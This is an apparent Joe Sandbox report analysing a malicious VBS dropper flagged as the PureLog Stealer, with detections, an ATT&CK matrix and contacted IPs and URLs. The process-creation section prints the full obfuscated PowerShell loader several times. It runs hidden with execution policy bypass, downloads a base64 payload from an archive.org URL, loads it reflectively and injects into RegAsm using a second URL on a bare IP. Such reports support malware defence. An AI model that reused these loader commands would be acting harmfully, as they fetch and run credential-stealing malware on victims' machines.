                HIPS / PFW / Operating System Protection Evasion

                barindex
                Yara detected Powershell decode and execute
                Source: Yara matchFile source: amsi64_7612.amsi.csv, type: OTHER
                Bypasses PowerShell execution policy
                Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdEQzcnKyd1cmwgPSBrZicrJ3NodHRwczovL2knKydhNjAwMTAwJysnLnVzJysnLmFyY2hpdmUub3JnLycrJzI0L2l0JysnZW1zL2RldGEnKydoLW5vdGUtJysndi9EZXRhaE4nKydvJysndGVWLnR4dGtmJysncztEQzdiYXNlNjRDb250ZW50ID0gJysnKE5ldy1PYmplY3QgJysnU3lzdGVtLk5lJysndC5XZScrJ2InKydDbGllbnQpLicrJ0Rvd25sb2FkU3RyaW4nKydnKERDN3VybCknKyc7JysnREM3YmluYXJ5Q29udGVudCA9IFtTeXN0JysnZW0nKycuQ29udmVydF06JysnOkZybycrJ21CYXNlNjRTdHJpbmcnKycoREM3YmFzZTY0Q29udGVudCk7REM3YXNzZW1iJysnbHknKycgPSBbUicrJ2VmbGUnKydjdGlvbi5BJysnc3NlbWJsJysneV06OkxvYWQoREM3JysnYmluJysnYXJ5QycrJ29uJysndGVudCknKyc7REM3dHknKydwZScrJyA9IERDN2Fzc2VtYmx5LkdldFR5cGUoa2ZzUicrJ3VuUCcrJ0UnKycuSG9tJysnZWtmcyk7REM3JysnbScrJ2V0aG9kJysnID0nKycgREM3dHlwJysnZScrJy4nKydHZXQnKydNZXQnKydob2QoJysna2ZzVicrJ0EnKydJaycrJ2ZzJysnKTtEQzdtZScrJ3Rob2QnKycuSW52b2tlKERDJysnN251bGwsJysnIFtvYmplY3RbXV1AKGsnKydmc3R4dC4nKydGRFInKydXLzA2NS82JysnNTEuMDkxLicrJzk3LjU0Ly86cHR0aCcrJ2tmcyAsIGtmc2Rlc2F0aXZhZG9rZnMgLCBrZnNkZXNhdGl2JysnYWQnKydvaycrJ2YnKydzJysnICcrJywga2ZzZGVzYXQnKydpJysndmFkbycrJ2tmcyxrZnMnKydSZWdBc21rZnMnKycsa2ZzJysna2ZzKScrJyknKS5yRVBMQUNFKChbY2hBcl02OCtbY2hBcl02NytbY2hBcl01NSksW1NUUklOR11bY2hBcl0zNikuckVQTEFDRSgna2ZzJyxbU1RSSU5HXVtjaEFyXTM5KXwgaUVY';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
                Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdEQzcnKyd1cmwgPSBrZicrJ3NodHRwczovL2knKydhNjAwMTAwJysnLnVzJysnLmFyY2hpdmUub3JnLycrJzI0L2l0JysnZW1zL2RldGEnKydoLW5vdGUtJysndi9EZXRhaE4nKydvJysndGVWLnR4dGtmJysncztEQzdiYXNlNjRDb250ZW50ID0gJysnKE5ldy1PYmplY3QgJysnU3lzdGVtLk5lJysndC5XZScrJ2InKydDbGllbnQpLicrJ0Rvd25sb2FkU3RyaW4nKydnKERDN3VybCknKyc7JysnREM3YmluYXJ5Q29udGVudCA9IFtTeXN0JysnZW0nKycuQ29udmVydF06JysnOkZybycrJ21CYXNlNjRTdHJpbmcnKycoREM3YmFzZTY0Q29udGVudCk7REM3YXNzZW1iJysnbHknKycgPSBbUicrJ2VmbGUnKydjdGlvbi5BJysnc3NlbWJsJysneV06OkxvYWQoREM3JysnYmluJysnYXJ5QycrJ29uJysndGVudCknKyc7REM3dHknKydwZScrJyA9IERDN2Fzc2VtYmx5LkdldFR5cGUoa2ZzUicrJ3VuUCcrJ0UnKycuSG9tJysnZWtmcyk7REM3JysnbScrJ2V0aG9kJysnID0nKycgREM3dHlwJysnZScrJy4nKydHZXQnKydNZXQnKydob2QoJysna2ZzVicrJ0EnKydJaycrJ2ZzJysnKTtEQzdtZScrJ3Rob2QnKycuSW52b2tlKERDJysnN251bGwsJysnIFtvYmplY3RbXV1AKGsnKydmc3R4dC4nKydGRFInKydXLzA2NS82JysnNTEuMDkxLicrJzk3LjU0Ly86cHR0aCcrJ2tmcyAsIGtmc2Rlc2F0aXZhZG9rZnMgLCBrZnNkZXNhdGl2JysnYWQnKydvaycrJ2YnKydzJysnICcrJywga2ZzZGVzYXQnKydpJysndmFkbycrJ2tmcyxrZnMnKydSZWdBc21rZnMnKycsa2ZzJysna2ZzKScrJyknKS5yRVBMQUNFKChbY2hBcl02OCtbY2hBcl02NytbY2hBcl01NSksW1NUUklOR11bY2hBcl0zNikuckVQTEFDRSgna2ZzJyxbU1RSSU5HXVtjaEFyXTM5KXwgaUVY';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxDJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('DC7'+'url = kf'+'shttps://i'+'a600100'+'.us'+'.archive.org/'+'24/it'+'ems/deta'+'h-note-'+'v/DetahN'+'o'+'teV.txtkf'+'s;DC7base64Content = '+'(New-Object '+'System.Ne'+'t.We'+'b'+'Client).'+'DownloadStrin'+'g(DC7url)'+';'+'DC7binaryContent = [Syst'+'em'+'.Convert]:'+':Fro'+'mBase64String'+'(DC7base64Content);DC7assemb'+'ly'+' = [R'+'efle'+'ction.A'+'ssembl'+'y]::Load(DC7'+'bin'+'aryC'+'on'+'tent)'+';DC7ty'+'pe'+' = DC7assembly.GetType(kfsR'+'unP'+'E'+'.Hom'+'ekfs);DC7'+'m'+'ethod'+' ='+' DC7typ'+'e'+'.'+'Get'+'Met'+'hod('+'kfsV'+'A'+'Ik'+'fs'+');DC7me'+'thod'+'.Invoke(DC'+'7null,'+' [object[]]@(k'+'fstxt.'+'FDR'+'W/065/6'+'51.091.'+'97.54//:ptth'+'kfs , kfsdesativadokfs , kfsdesativ'+'ad'+'ok'+'f'+'s'+' '+', kfsdesat'+'i'+'vado'+'kfs,kfs'+'RegAsmkfs'+',kfs'+'kfs)'+')').rEPLACE(([chAr]68+[chAr]67+[chAr]55),[STRING][chAr]36).rEPLACE('kfs',[STRING][chAr]39)| iEX"Jump to behavior
                Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcdeqzcnkyd1cmwgpsbrzicrj3nodhrwczovl2knkydhnjawmtawjysnlnvzjysnlmfyy2hpdmuub3jnlycrjzi0l2l0jysnzw1zl2rldgenkydolw5vdgutjysndi9ezxrhae4nkydvjysndgvwlnr4dgtmjysnczteqzdiyxnlnjrdb250zw50id0gjysnke5ldy1pymply3qgjysnu3lzdgvtlk5ljysndc5xzscrj2inkyddbgllbnqplicrj0rvd25sb2fku3ryaw4nkydnkerdn3vybcknkyc7jysnrem3ymluyxj5q29udgvudca9ifttexn0jysnzw0nkycuq29udmvydf06jysnokzybycrj21cyxnlnjrtdhjpbmcnkycorem3ymfzzty0q29udgvudck7rem3yxnzzw1ijysnbhknkycgpsbbuicrj2vmbgunkydjdglvbi5bjysnc3nlbwjsjysnev06okxvywqorem3jysnymlujysnyxj5qycrj29ujysndgvudcknkyc7rem3dhknkydwzscrjya9ierdn2fzc2vtymx5lkdldfr5cguoa2zzuicrj3vuuccrj0unkycusg9tjysnzwtmcyk7rem3jysnbscrj2v0ag9kjysnid0nkycgrem3dhlwjysnzscrjy4nkydhzxqnkydnzxqnkydob2qojysna2zzvicrj0enkydjaycrj2zzjysnktteqzdtzscrj3rob2qnkycusw52b2tlkerdjysnn251bgwsjysniftvymply3rbxv1akgsnkydmc3r4dc4nkydgrfinkydxlza2ns82jysnnteumdkxlicrjzk3lju0ly86chr0accrj2tmcyasigtmc2rlc2f0axzhzg9rznmglcbrznnkzxnhdgl2jysnywqnkydvaycrj2ynkydzjysniccrjywga2zzzgvzyxqnkydpjysndmfkbycrj2tmcyxrznmnkydszwdbc21rznmnkycsa2zzjysna2zzkscrjyknks5yrvbmqunfkchby2hbcl02octby2hbcl02nytby2hbcl01nsksw1nuuklor11by2hbcl0znikuckvqtefdrsgna2zzjyxbu1rssu5hxvtjaefyxtm5kxwgauvy';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "('dc7'+'url = kf'+'shttps://i'+'a600100'+'.us'+'.archive.org/'+'24/it'+'ems/deta'+'h-note-'+'v/detahn'+'o'+'tev.txtkf'+'s;dc7base64content = '+'(new-object '+'system.ne'+'t.we'+'b'+'client).'+'downloadstrin'+'g(dc7url)'+';'+'dc7binarycontent = [syst'+'em'+'.convert]:'+':fro'+'mbase64string'+'(dc7base64content);dc7assemb'+'ly'+' = [r'+'efle'+'ction.a'+'ssembl'+'y]::load(dc7'+'bin'+'aryc'+'on'+'tent)'+';dc7ty'+'pe'+' = dc7assembly.gettype(kfsr'+'unp'+'e'+'.hom'+'ekfs);dc7'+'m'+'ethod'+' ='+' dc7typ'+'e'+'.'+'get'+'met'+'hod('+'kfsv'+'a'+'ik'+'fs'+');dc7me'+'thod'+'.invoke(dc'+'7null,'+' [object[]]@(k'+'fstxt.'+'fdr'+'w/065/6'+'51.091.'+'97.54//:ptth'+'kfs , kfsdesativadokfs , kfsdesativ'+'ad'+'ok'+'f'+'s'+' '+', kfsdesat'+'i'+'vado'+'kfs,kfs'+'regasmkfs'+',kfs'+'kfs)'+')').replace(([char]68+[char]67+[char]55),[string][char]36).replace('kfs',[string][char]39)| iex"
                Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcdeqzcnkyd1cmwgpsbrzicrj3nodhrwczovl2knkydhnjawmtawjysnlnvzjysnlmfyy2hpdmuub3jnlycrjzi0l2l0jysnzw1zl2rldgenkydolw5vdgutjysndi9ezxrhae4nkydvjysndgvwlnr4dgtmjysnczteqzdiyxnlnjrdb250zw50id0gjysnke5ldy1pymply3qgjysnu3lzdgvtlk5ljysndc5xzscrj2inkyddbgllbnqplicrj0rvd25sb2fku3ryaw4nkydnkerdn3vybcknkyc7jysnrem3ymluyxj5q29udgvudca9ifttexn0jysnzw0nkycuq29udmvydf06jysnokzybycrj21cyxnlnjrtdhjpbmcnkycorem3ymfzzty0q29udgvudck7rem3yxnzzw1ijysnbhknkycgpsbbuicrj2vmbgunkydjdglvbi5bjysnc3nlbwjsjysnev06okxvywqorem3jysnymlujysnyxj5qycrj29ujysndgvudcknkyc7rem3dhknkydwzscrjya9ierdn2fzc2vtymx5lkdldfr5cguoa2zzuicrj3vuuccrj0unkycusg9tjysnzwtmcyk7rem3jysnbscrj2v0ag9kjysnid0nkycgrem3dhlwjysnzscrjy4nkydhzxqnkydnzxqnkydob2qojysna2zzvicrj0enkydjaycrj2zzjysnktteqzdtzscrj3rob2qnkycusw52b2tlkerdjysnn251bgwsjysniftvymply3rbxv1akgsnkydmc3r4dc4nkydgrfinkydxlza2ns82jysnnteumdkxlicrjzk3lju0ly86chr0accrj2tmcyasigtmc2rlc2f0axzhzg9rznmglcbrznnkzxnhdgl2jysnywqnkydvaycrj2ynkydzjysniccrjywga2zzzgvzyxqnkydpjysndmfkbycrj2tmcyxrznmnkydszwdbc21rznmnkycsa2zzjysna2zzkscrjyknks5yrvbmqunfkchby2hbcl02octby2hbcl02nytby2hbcl01nsksw1nuuklor11by2hbcl0znikuckvqtefdrsgna2zzjyxbu1rssu5hxvtjaefyxtm5kxwgauvy';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxdJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "('dc7'+'url = kf'+'shttps://i'+'a600100'+'.us'+'.archive.org/'+'24/it'+'ems/deta'+'h-note-'+'v/detahn'+'o'+'tev.txtkf'+'s;dc7base64content = '+'(new-object '+'system.ne'+'t.we'+'b'+'client).'+'downloadstrin'+'g(dc7url)'+';'+'dc7binarycontent = [syst'+'em'+'.convert]:'+':fro'+'mbase64string'+'(dc7base64content);dc7assemb'+'ly'+' = [r'+'efle'+'ction.a'+'ssembl'+'y]::load(dc7'+'bin'+'aryc'+'on'+'tent)'+';dc7ty'+'pe'+' = dc7assembly.gettype(kfsr'+'unp'+'e'+'.hom'+'ekfs);dc7'+'m'+'ethod'+' ='+' dc7typ'+'e'+'.'+'get'+'met'+'hod('+'kfsv'+'a'+'ik'+'fs'+');dc7me'+'thod'+'.invoke(dc'+'7null,'+' [object[]]@(k'+'fstxt.'+'fdr'+'w/065/6'+'51.091.'+'97.54//:ptth'+'kfs , kfsdesativadokfs , kfsdesativ'+'ad'+'ok'+'f'+'s'+' '+', kfsdesat'+'i'+'vado'+'kfs,kfs'+'regasmkfs'+',kfs'+'kfs)'+')').replace(([char]68+[char]67+[char]55),[string][char]36).replace('kfs',[string][char]39)| iex"Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

                Stealing of Sensitive Information

                barindex
                Yara detected PureLog Stealer
                Source: Yara matchFile source: 4.2.powershell.exe.25190e2f628.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 4.2.powershell.exe.25190e2f628.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 4.2.powershell.exe.251ee1e0000.1.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 4.2.powershell.exe.251ee1e0000.1.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000004.00000002.1922445432.00000251EE1E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000004.00000002.1903308651.000002519061B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

                Remote Access Functionality

                barindex
                Yara detected PureLog Stealer
                Source: Yara matchFile source: 4.2.powershell.exe.25190e2f628.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 4.2.powershell.exe.25190e2f628.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 4.2.powershell.exe.251ee1e0000.1.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 4.2.powershell.exe.251ee1e0000.1.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000004.00000002.1922445432.00000251EE1E0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000004.00000002.1903308651.000002519061B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

                Mitre Att&ck Matrix

                ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                Gather Victim Identity Information221
                Scripting                		Valid Accounts11
                Command and Scripting Interpreter                		221
                Scripting                		11
                Process Injection                		1
                Masquerading                		OS Credential Dumping1
                Security Software Discovery                		Remote ServicesData from Local System1
                Encrypted Channel                		Exfiltration Over Other Network MediumAbuse Accessibility Features
                CredentialsDomainsDefault Accounts1
                Exploitation for Client Execution                		1
                DLL Side-Loading                		1
                DLL Side-Loading                		31
                Virtualization/Sandbox Evasion                		LSASS Memory1
                Process Discovery                		Remote Desktop ProtocolData from Removable Media1
                Ingress Tool Transfer                		Exfiltration Over BluetoothNetwork Denial of Service
                Email AddressesDNS ServerDomain Accounts3
                PowerShell                		Logon Script (Windows)Logon Script (Windows)11
                Process Injection                		Security Account Manager31
                Virtualization/Sandbox Evasion                		SMB/Windows Admin SharesData from Network Shared Drive2
                Non-Application Layer Protocol                		Automated ExfiltrationData Encrypted for Impact
                Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook1
                Deobfuscate/Decode Files or Information                		NTDS1
                Application Window Discovery                		Distributed Component Object ModelInput Capture3
                Application Layer Protocol                		Traffic DuplicationData Destruction
                Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script2
                Obfuscated Files or Information                		LSA Secrets1
                File and Directory Discovery                		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
                Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
                Software Packing                		Cached Domain Credentials12
                System Information Discovery                		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
                DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
                DLL Side-Loading                		DCSyncRemote System DiscoveryWindows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery

                Behavior Graph

                Hide Legend

                Legend:

                • Process
                • Signature
                • Created File
                • DNS/IP Info
                • Is Dropped
                • Is Windows Process
                • Number of created Registry Values
                • Number of created Files
                • Visual Basic
                • Delphi
                • Java
                • .Net C# or VB.NET
                • C, C++ or other language
                • Is malicious
                • Internet

                Screenshots

                Thumbnails

                This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                windows-stand

                Antivirus, Machine Learning and Genetic Malware Detection

                Initial Sample

                SourceDetectionScannerLabelLink
                aK7smea2Vv.vbs5%ReversingLabsWin32.Trojan.Generic
                aK7smea2Vv.vbs10%VirustotalBrowse

                Dropped Files

                ⊘No Antivirus matches

                Unpacked PE Files

                ⊘No Antivirus matches

                Domains

                SourceDetectionScannerLabelLink
                ia600100.us.archive.org0%VirustotalBrowse

                URLs

                SourceDetectionScannerLabelLink
                http://nuget.org/NuGet.exe0%URL Reputationsafe
                http://nuget.org/NuGet.exe0%URL Reputationsafe
                http://pesterbdd.com/images/Pester.png0%URL Reputationsafe
                http://crl.microsoft0%URL Reputationsafe
                https://go.micro0%URL Reputationsafe
                https://contoso.com/License0%URL Reputationsafe
                https://contoso.com/License0%URL Reputationsafe
                https://contoso.com/Icon0%URL Reputationsafe
                https://aka.ms/pscore60%URL Reputationsafe
                https://contoso.com/0%URL Reputationsafe
                https://nuget.org/nuget.exe0%URL Reputationsafe
                https://oneget.orgX0%URL Reputationsafe
                https://aka.ms/pscore680%URL Reputationsafe
                http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name0%URL Reputationsafe
                https://oneget.org0%URL Reputationsafe
                http://www.apache.org/licenses/LICENSE-2.0.html0%VirustotalBrowse
                https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt10%VirustotalBrowse
                https://ia600100.us.archive.org1%VirustotalBrowse
                http://www.apache.org/licenses/LICENSE-2.00%VirustotalBrowse
                http://ia600100.us.archive.org0%VirustotalBrowse
                http://45.79.190.1563%VirustotalBrowse
                http://45.79.190.156/560/WRDF.txt3%VirustotalBrowse
                https://github.com/Pester/Pester1%VirustotalBrowse

                Domains and IPs

                Contacted Domains

                NameIPActiveMaliciousAntivirus DetectionReputation
                ia600100.us.archive.org
                		207.241.227.240
                		truefalseunknown

                Contacted URLs

                NameMaliciousAntivirus DetectionReputation
                https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txtfalseunknown
                http://45.79.190.156/560/WRDF.txtfalseunknown

                URLs from Memory and Binaries

                NameSourceMaliciousAntivirus DetectionReputation
                http://nuget.org/NuGet.exepowershell.exe, 00000004.00000002.1889889950.0000025181987000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1903308651.0000025190072000.00000004.00000800.00020000.00000000.sdmpfalse
                • URL Reputation: safe
                • URL Reputation: safe
                		unknown
                http://www.apache.org/licenses/LICENSE-2.0powershell.exe, 00000004.00000002.1889889950.0000025181713000.00000004.00000800.00020000.00000000.sdmpfalseunknown
                http://pesterbdd.com/images/Pester.pngpowershell.exe, 00000004.00000002.1889889950.0000025180222000.00000004.00000800.00020000.00000000.sdmpfalse
                • URL Reputation: safe
                		unknown
                http://crl.microsoftpowershell.exe, 00000004.00000002.1918181957.00000251EBC85000.00000004.00000020.00020000.00000000.sdmpfalse
                • URL Reputation: safe
                		unknown
                http://www.apache.org/licenses/LICENSE-2.0.htmlpowershell.exe, 00000004.00000002.1889889950.0000025180222000.00000004.00000800.00020000.00000000.sdmpfalseunknown
                https://go.micropowershell.exe, 00000004.00000002.1889889950.00000251811EB000.00000004.00000800.00020000.00000000.sdmpfalse
                • URL Reputation: safe
                		unknown
                https://contoso.com/Licensepowershell.exe, 00000004.00000002.1903308651.0000025190072000.00000004.00000800.00020000.00000000.sdmpfalse
                • URL Reputation: safe
                • URL Reputation: safe
                		unknown
                https://contoso.com/Iconpowershell.exe, 00000004.00000002.1903308651.0000025190072000.00000004.00000800.00020000.00000000.sdmpfalse
                • URL Reputation: safe
                		unknown
                https://aka.ms/pscore6powershell.exe, 00000002.00000002.1931428866.000001C4624DB000.00000004.00000800.00020000.00000000.sdmpfalse
                • URL Reputation: safe
                		unknown
                https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txtkfs;DC7base64Contentpowershell.exe, 00000004.00000002.1889889950.0000025180222000.00000004.00000800.00020000.00000000.sdmpfalse
                  		unknown
                  https://github.com/Pester/Pesterpowershell.exe, 00000004.00000002.1889889950.0000025180222000.00000004.00000800.00020000.00000000.sdmpfalseunknown
                  http://crl.mpowershell.exe, 00000002.00000002.1941434841.000001C47A562000.00000004.00000020.00020000.00000000.sdmpfalse
                    		unknown
                    http://45.79.190.156ppowershell.exe, 00000004.00000002.1889889950.0000025180424000.00000004.00000800.00020000.00000000.sdmpfalse
                      		unknown
                      http://45.79.190.156powershell.exe, 00000004.00000002.1889889950.0000025180424000.00000004.00000800.00020000.00000000.sdmpfalseunknown
                      https://contoso.com/powershell.exe, 00000004.00000002.1903308651.0000025190072000.00000004.00000800.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      https://nuget.org/nuget.exepowershell.exe, 00000004.00000002.1889889950.0000025181987000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1903308651.0000025190072000.00000004.00000800.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      https://oneget.orgXpowershell.exe, 00000004.00000002.1889889950.0000025181713000.00000004.00000800.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      https://ia600100.us.archive.orgpowershell.exe, 00000004.00000002.1889889950.00000251813D4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1889889950.0000025180222000.00000004.00000800.00020000.00000000.sdmpfalseunknown
                      https://aka.ms/pscore68powershell.exe, 00000002.00000002.1931428866.000001C4624F9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1889889950.0000025180001000.00000004.00000800.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namepowershell.exe, 00000002.00000002.1931428866.000001C46252C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1889889950.0000025180001000.00000004.00000800.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      https://oneget.orgpowershell.exe, 00000004.00000002.1889889950.0000025181713000.00000004.00000800.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      http://ia600100.us.archive.orgpowershell.exe, 00000004.00000002.1889889950.00000251816CB000.00000004.00000800.00020000.00000000.sdmpfalseunknown
                      https://ia600100.us.arX(ppowershell.exe, 00000004.00000002.1889889950.00000251816C6000.00000004.00000800.00020000.00000000.sdmpfalse
                        		unknown
                        http://45.79.190.156(powershell.exe, 00000004.00000002.1889889950.0000025180602000.00000004.00000800.00020000.00000000.sdmpfalse
                          		unknown
                          http://crl.msoftpowershell.exe, 00000002.00000002.1941434841.000001C47A562000.00000004.00000020.00020000.00000000.sdmpfalse
                            		unknown

                            World Map of Contacted IPs

                            • No. of IPs < 25%
                            • 25% < No. of IPs < 50%
                            • 50% < No. of IPs < 75%
                            • 75% < No. of IPs

                            Public IPs

                            IPDomainCountryFlagASNASN NameMalicious
                            45.79.190.156
                            		unknownUnited States
                            		63949LINODE-APLinodeLLCUSfalse
                            207.241.227.240
                            		ia600100.us.archive.orgUnited States
                            		7941INTERNET-ARCHIVEUSfalse

                            General Information

                            Joe Sandbox version:41.0.0 Charoite
                            Analysis ID:1523831
                            Start date and time:2024-10-02 05:27:33 +02:00
                            Joe Sandbox product:CloudBasic
                            Overall analysis duration:0h 5m 18s
                            Hypervisor based Inspection enabled:false
                            Report type:full
                            Cookbook file name:default.jbs
                            Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                            Number of analysed new started processes analysed:10
                            Number of new started drivers analysed:0
                            Number of existing processes analysed:0
                            Number of existing drivers analysed:0
                            Number of injected processes analysed:0
                            Technologies:
                            • HCA enabled
                            • EGA enabled
                            • AMSI enabled
                            Analysis Mode:default
                            Analysis stop reason:Timeout
                            Sample name:aK7smea2Vv.vbs
                            renamed because original name is a hash value
                            Original Sample Name:5ae8ef220711cf775ea5b5e8a93db4e2a88829709cf68e1a810f47229fdba903.vbs
                            Detection:MAL
                            Classification:mal100.troj.expl.evad.winVBS@6/6@1/2
                            EGA Information:Failed
                            HCA Information:
                            • Successful, ratio: 88%
                            • Number of executed functions: 10
                            • Number of non-executed functions: 1
                            Cookbook Comments:
                            • Found application associated with file extension: .vbs

                            Warnings

